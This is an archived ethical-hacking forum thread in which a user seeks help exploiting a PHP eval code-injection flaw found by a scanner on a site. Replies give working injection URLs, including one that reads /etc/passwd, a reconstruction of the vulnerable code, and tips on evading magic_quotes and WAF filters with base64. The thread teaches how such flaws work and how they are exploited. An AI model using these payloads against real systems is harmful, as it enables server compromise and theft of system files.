Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 32 guests and 1 member online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Web Applicationsarrow Please help me with PHP injection(Some command not working)
EH-Net
May 19, 2013, 10:53:18 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: Please help me with PHP injection(Some command not working)  (Read 9147 times)
0 Members and 1 Guest are viewing this topic.
easy
Newbie
*
Offline Offline

Posts: 15


View Profile WWW
« on: December 06, 2011, 11:21:49 PM »

I have scanned my website with acunitix. And acunitix warn for high risk of php injection. The acunitix query was "${@print(md5(acunetix_wvs_security_test))}.

For verifying manually i tested and yeah its really output hash.
Suppose the site: www.testme.com/user.php?user=something&password=${@print(md5(worked))}  

And it Output the hash of "worked" so it make confirm that it is something bad. But when i try like:

www.testme.com/user.php?user=something&password=<?php system(ls) ?>

nothing happened.

Again when i try invalid command ${@print(nothing(system(ls))} then it output "EMPTY query"
So i think it is really vulnerable. But why this is not accepting other command ?

PS: I was encoded all query

How can i exploit such a vulnerability. Anyone can explain it please?


 
« Last Edit: December 06, 2011, 11:31:45 PM by easy » Logged
BillV
Hero Member
*****
Offline Offline

Posts: 1892


View Profile WWW
« Reply #1 on: December 07, 2011, 09:26:47 AM »

I think you answered your own question in your post. You were able to successfully inject commands, that's how you exploit the vulnerability.
Logged
hayabusa
Hero Member
*****
Offline Offline

Posts: 1630



View Profile
« Reply #2 on: December 07, 2011, 10:16:21 AM »

As BillV noted, you did inject a command(s).  Now, you need to go back, and figure out exactly what you can inject. 

For instance, can you inject a command, to echo a string into a php file on the webserver, which you could then run remotely, and gain a shell?  Can you inject sql commands against a backend database?  Can you run ping (have it ping back to you, and watch for the packets from the source address or network)?

What else can you have it do, that is beneficial to your test?

Wink
Logged

~ hayabusa ~ 

"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'


OSCE, OSCP , GPEN, C|EH
easy
Newbie
*
Offline Offline

Posts: 15


View Profile WWW
« Reply #3 on: December 07, 2011, 10:28:39 AM »

Thank you guys for replying . But actually i am not understanding what command i need. Because none command is working without ${@print(md5())}.

I tried many other php command such as systme or exec . But no any result.

Perhaps i need some hint or any link please?
Logged
rance
Full Member
***
Offline Offline

Posts: 212


<censored>


View Profile
« Reply #4 on: December 07, 2011, 11:45:18 AM »

Sometimes the feedback from the command you run doesn't display to the screen, but will be in your source code, so after injecting your command, do a "view source" and see what you see.

Also, in some cases, you need to kajigger the command to force the feedback to the "screen", as some commands "hang" the input, and it's never returned to the browser.  At the moment, I can't remember what you have to append to the command... I can look it up later though.
Logged

Poking at security since 1986.  +++ATH
easy
Newbie
*
Offline Offline

Posts: 15


View Profile WWW
« Reply #5 on: December 08, 2011, 01:31:18 PM »

I tried .... I have seen the source code......Because first tried it by burp too.

Only source with a javascript redirect location (document.cookie=login.html)

If <? system(ls) ?> or other command then it just :

<script>document.location=login.html</script>

If md5 hash
hashhere<script>..........</script>

That is all i am getting.

I am counfused that how i can Combination other command with ${@(md5(something))}.

Logged
leetbean
Newbie
*
Offline Offline

Posts: 1


View Profile
« Reply #6 on: December 08, 2011, 04:30:06 PM »

is php running in safe mode? if so, this is likely limiting many functions including system(). this does not mean your system is not vulnerable.

you need to view the source of user.php and make sure you are sanitizing user input like others mentioned.

good luck!
Logged
easy
Newbie
*
Offline Offline

Posts: 15


View Profile WWW
« Reply #7 on: December 09, 2011, 03:30:48 AM »

OK now this is worked...

But some problem that i can't write anything on the server.

Suppose i am executing the command ${@system(ls)} and it out put all file but when i try like ${@system(ls /etc)} it is not executing.

All single command is working but whenever i try something advance(SO need space), it is not executing at all.

Perhaps this problem is for single quote and space. I was encoded but no luck yet

Any advice please?

Strange:

Here some result
1. ${@system(ls)} (It is fine)
2. ${@system(ls /etc)} :
<script language="javascript">document.location="default.html";</script>
3. ${@print(iamhere)} (It print out fine)
4. ${@system(i am here)}:
<hr>Query was empty

When i tried with ASCII encoding:
${@system(6920616d2068657265)}
The result: <hr>Query was empty

When i tried with random number without encoding:
${@print(692)}
Result:
692<script language="javascript">document.location="defualt.html";</script>

bah.

Not understanding what the hell is going on!!!

Please help ?
« Last Edit: December 09, 2011, 05:28:02 AM by easy » Logged
nytfox
Newbie
*
Offline Offline

Posts: 20



View Profile
« Reply #8 on: January 30, 2012, 11:57:50 PM »

Quote

In that "${@print(md5(worked))" "md5" is inbuilt function inside PHP  and ''worked' is the value

so its possible if you wanna execute system commands using "system" function and for value as command you wanna execute for a example "cat /etc/passwd". its that simple
example

Code:
www.testme.com/user.php?user=something&password=${@print(system(cat /etc/passwd))}
Logged

Unlike others I love NULLS
http://treasuresec.com
MaXe
Hero Member
*****
Offline Offline

Posts: 669


I've just upgraded myself to a cyborg muahahaa!!1


View Profile WWW
« Reply #9 on: January 31, 2012, 02:09:29 PM »

Okay, let's break some of it down:

How come this is possible?
Apparently, the input from the GET variable password seems to be evaluated as PHP. This can be caused by eval(), but also preg_match() where the 'e' flag is set.
(And other functions too, but in cases like these, most likely the above.)

How could the actual code look like?
This is just a pseudo-file based on the information shared,

Code:
<?php 
$username 
$_GET['user'];
$password $_GET['password'];

@eval(
$password";");
// This is a valid query: ${@print(md5(1))}
// Which equals: eval(${@print(md5(1))});
?>

The interesting part of this is that we can evaluate input as PHP with e.g., ${@print(md5(1))} and the URI may look like this: http://example.tld/path/script.php?user=1&password=${@print(md5(1))}


So, what's up with the ${@print(md5(1))} ?
It seems overly completicated, as print(md5(1)) could've possibly achieved the same, depending on filters and WAF's in use.

Furthermore, the @ only disables any error output, meaning you will only make it harder for yourself.

You may not even need the ${PHP code} , perhaps you may.

Why can't you use <?php phpinfo(); ?> ?
Because you would receive an error like this:
Code:
Parse error: syntax error, unexpected '<' in /var/www/script.php(5) : eval()'d code on line 1
(not exactly like that of course.)

Why don't you get an error like that?
Because error_reporting(0); is set or display_errors is Off.

Why doesn't system() work?
Because A) The website has a filter or WAF in place blocking, removing, changing, etc., such requests or simply just the word system() in the URL (GET-requests) passed to varibles.
B) Perhaps because your syntax is incorrect. There can be multiple reasons, of them being that you don't encapsulate input in the system() variable with quotes or apostrophes. (i.e., system('ls') or system("ls"), you can also use base64_decode() to decode input in base64.)

What would error occurs when you just write "ls" like system(ls) ?
Notice: Use of undefined constant ls - assumed 'ls' in /var/www/script.php(5) : eval()'d code on line 1

See: http://php.net/manual/en/function.system.php

Why is there no output when the syntax is wrong?
Quote from: PHP.net
Return Values: Returns the last line of the command output on success, and FALSE on failure.


What other commands can you use to execute code?
exec();
passthru();
backticks, e.g., $var=`ls`;print($var)
fopen() (Requires that allow_url_fopen() is enabled for remote connections to other servers.)
include(), include_once(), require(), require_once() (These requires allow_url_include() is enabled for remote connections too.)


What can we tell from these results?
Quote
Here some result
1. ${@system(ls)} (It is fine)
2. ${@system(ls /etc)} :
<script language="javascript">document.location="default.html";</script>
3. ${@print(iamhere)} (It print out fine)
4. ${@system(i am here)}:
<hr>Query was empty

1. You can use system()
2. The syntax is wrong (sorry, but it is).
3. You can use print()
4. See 2

What should you look out for when using ' and " ?
In case magic_quotes is enabled, then apostrophes ' and quotes " will have a backslash prepended so they look like this \' and this \" , meaning if you send: print(system('ls')), it will become print(system(\'ls\')) which is wrong and will therefore fail.

How do you circumvent this? One way is to make the code like this:
print(base64_decode($_GET[cmd]))
(You can always add e.g., system() later on between print() and base64_decode().)

The query would then look like this to test it:
http://example.tld/script.php?user=1&password=print(base64_decode($_GET['cmd']))&cmd=VGhpcyBpcyBhIHRlc3Qgb2Ygc3BlY2lhbCBjaGFyYWN0ZXJzOiAnIC8gXCA+IDwgPyA9ICkgKCA

Where the base64 is of course a connect-back shell home to me  Grin Joke, the above Base64 represents:
This is a test of special characters: ' / \ > < ? = ) (


What should you be aware of too?
Besides magic_quotes, max_execution_time() but also Safe Mode where chroots can be enabled (so you won't have that many commands available to play with, including visible directories), and of course the Suhosin patch which hardens PHP a little bit too.  Smiley


Is there a limit / max input of characters in GET-requests?
Yes, typically 1024 or 2048 characters, sometimes 4096. (This depends on the webserver and can be read (and changed) in the source.



As you can see, there's a lot to know about web application security when it comes to to overcoming most challenges, but I'm glad you took the time to read this reply  Smiley It took a little while to write, as I was testing the examples I wrote as well, just to make sure they actually work  Wink
Logged

I'm an InterN0T'er
easy
Newbie
*
Offline Offline

Posts: 15


View Profile WWW
« Reply #10 on: February 01, 2012, 11:19:16 AM »

Hi MaXe First sorry for delay reply and thank you very much for a valuable reply. Really some important things you explained.

I have to read this reply several times....


I also think that it is WAF . You understood my problem.. So once again i want tell that what char are not working:

When i Smiley

I have tried once your the base64 encode method and it did not work. But i will try more harder...

Still it needs single quote ['cmd']
« Last Edit: February 01, 2012, 11:36:38 AM by easy » Logged
MaXe
Hero Member
*****
Offline Offline

Posts: 669


I've just upgraded myself to a cyborg muahahaa!!1


View Profile WWW
« Reply #11 on: February 01, 2012, 02:05:11 PM »

Hi MaXe First sorry for delay reply and thank you very much for a valuable reply. Really some important things you explained.

I have to read this reply several times....

I also think that it is WAF . You understood my problem.. So once again i want tell that what char are not working:

I have tried once your the base64 encode method and it did not work. But i will try more harder...

Still it needs single quote ['cmd']


No problem, sounds great you appreciated it and I suggest you save it for reference later, when you encounter similar problems. Unless you memorize it all  Grin

It could be a WAF, but make sure your syntax for PHP is correct by testing your injected code locally on your own webserver first, if it works there, it could work on the target server.

The base64 encode method can easily go wrong, and in the case I suggested, you may have to wrap ${} around the injected commands, and you may have to avoid some filters / WAF's too.

$_GET[cmd] will work, as it will assume $_GET['cmd'], but you're right that you should generally use the last ( $_GET['cmd'] ), but if you can't use single quotes, you can use $_GET[cmd] too.
Logged

I'm an InterN0T'er
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.077 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.